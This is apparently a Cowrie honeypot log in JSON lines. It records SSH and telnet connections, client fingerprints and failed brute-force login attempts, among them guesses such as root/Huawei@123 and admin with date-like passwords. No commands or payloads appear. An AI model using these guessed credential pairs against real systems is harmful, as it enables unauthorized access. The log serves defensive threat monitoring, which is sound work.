{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35692,"dst_ip":"159.203.135.109","dst_port":22,"session":"436bbaf2be9f","protocol":"ssh","message":"New connection: 83.168.110.85:35692 (159.203.135.109:22) [session: 436bbaf2be9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:23.569211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:23.573895Z","src_ip":"83.168.110.85","session":"436bbaf2be9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:23.694571Z","src_ip":"83.168.110.85","session":"436bbaf2be9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:24.063315Z","src_ip":"83.168.110.85","session":"436bbaf2be9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:25.200594Z","src_ip":"83.168.110.85","session":"436bbaf2be9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":54612,"dst_ip":"159.203.135.109","dst_port":22,"session":"597c33c2f425","protocol":"ssh","message":"New connection: 160.251.185.39:54612 (159.203.135.109:22) [session: 597c33c2f425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:26.966544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:26.971061Z","src_ip":"160.251.185.39","session":"597c33c2f425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:27.136653Z","src_ip":"160.251.185.39","session":"597c33c2f425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rp","message":"login attempt [root/rp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:27.833971Z","src_ip":"160.251.185.39","session":"597c33c2f425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:29.006325Z","src_ip":"160.251.185.39","session":"597c33c2f425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56488,"dst_ip":"159.203.135.109","dst_port":22,"session":"58abaa902c11","protocol":"ssh","message":"New connection: 83.168.110.85:56488 (159.203.135.109:22) [session: 58abaa902c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:34.037390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:34.042437Z","src_ip":"83.168.110.85","session":"58abaa902c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:34.162691Z","src_ip":"83.168.110.85","session":"58abaa902c11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:34.524221Z","src_ip":"83.168.110.85","session":"58abaa902c11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":39976,"dst_ip":"159.203.135.109","dst_port":22,"session":"013c292f51c0","protocol":"ssh","message":"New connection: 103.118.29.129:39976 (159.203.135.109:22) [session: 013c292f51c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:34.601887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:34.606945Z","src_ip":"103.118.29.129","session":"013c292f51c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:34.854085Z","src_ip":"103.118.29.129","session":"013c292f51c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.121.113.102","src_port":41380,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f6c1518c94e","protocol":"telnet","message":"New connection: 138.121.113.102:41380 (159.203.135.109:23) [session: 4f6c1518c94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:35.472713Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:35.662981Z","src_ip":"83.168.110.85","session":"58abaa902c11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@qq.com","message":"login attempt [root/123@qq.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:35.879316Z","src_ip":"103.118.29.129","session":"013c292f51c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:37.134093Z","src_ip":"103.118.29.129","session":"013c292f51c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":9987,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f8e120eb652","protocol":"ssh","message":"New connection: 2.57.121.112:9987 (159.203.135.109:22) [session: 1f8e120eb652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:39.376741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:39.381667Z","src_ip":"2.57.121.112","session":"1f8e120eb652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:39.487280Z","src_ip":"2.57.121.112","session":"1f8e120eb652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31071971","message":"login attempt [admin/31071971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:39.982364Z","src_ip":"2.57.121.112","session":"1f8e120eb652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310583","message":"login attempt [admin/310583] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:41.093694Z","src_ip":"2.57.121.112","session":"1f8e120eb652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310574","message":"login attempt [admin/310574] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:42.201901Z","src_ip":"2.57.121.112","session":"1f8e120eb652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31051971","message":"login attempt [admin/31051971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:43.310781Z","src_ip":"2.57.121.112","session":"1f8e120eb652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310391","message":"login attempt [admin/310391] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:44.419206Z","src_ip":"2.57.121.112","session":"1f8e120eb652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34142,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0b10588c842","protocol":"ssh","message":"New connection: 83.168.110.85:34142 (159.203.135.109:22) [session: e0b10588c842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:44.475655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:44.480978Z","src_ip":"83.168.110.85","session":"e0b10588c842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:44.602709Z","src_ip":"83.168.110.85","session":"e0b10588c842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:44.969438Z","src_ip":"83.168.110.85","session":"e0b10588c842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:45.531077Z","src_ip":"2.57.121.112","session":"1f8e120eb652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:46.162144Z","src_ip":"83.168.110.85","session":"e0b10588c842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":54308,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fc2123e81a3","protocol":"ssh","message":"New connection: 147.45.199.80:54308 (10.17.0.5:22) [session: 1fc2123e81a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:46.168959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:46.173342Z","src_ip":"147.45.199.80","session":"1fc2123e81a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:46.274338Z","src_ip":"147.45.199.80","session":"1fc2123e81a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"132132","message":"login attempt [root/132132] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:46.577917Z","src_ip":"147.45.199.80","session":"1fc2123e81a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:47.681182Z","src_ip":"147.45.199.80","session":"1fc2123e81a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.231474876403809,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:47.704076Z","src_ip":"138.121.113.102","session":"4f6c1518c94e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53706,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ee7baa4db9f","protocol":"ssh","message":"New connection: 83.168.110.85:53706 (159.203.135.109:22) [session: 9ee7baa4db9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:54.870849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:54.875883Z","src_ip":"83.168.110.85","session":"9ee7baa4db9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:54.998840Z","src_ip":"83.168.110.85","session":"9ee7baa4db9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:55.367142Z","src_ip":"83.168.110.85","session":"9ee7baa4db9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:56.544183Z","src_ip":"83.168.110.85","session":"9ee7baa4db9f","protocol":"ssh"}
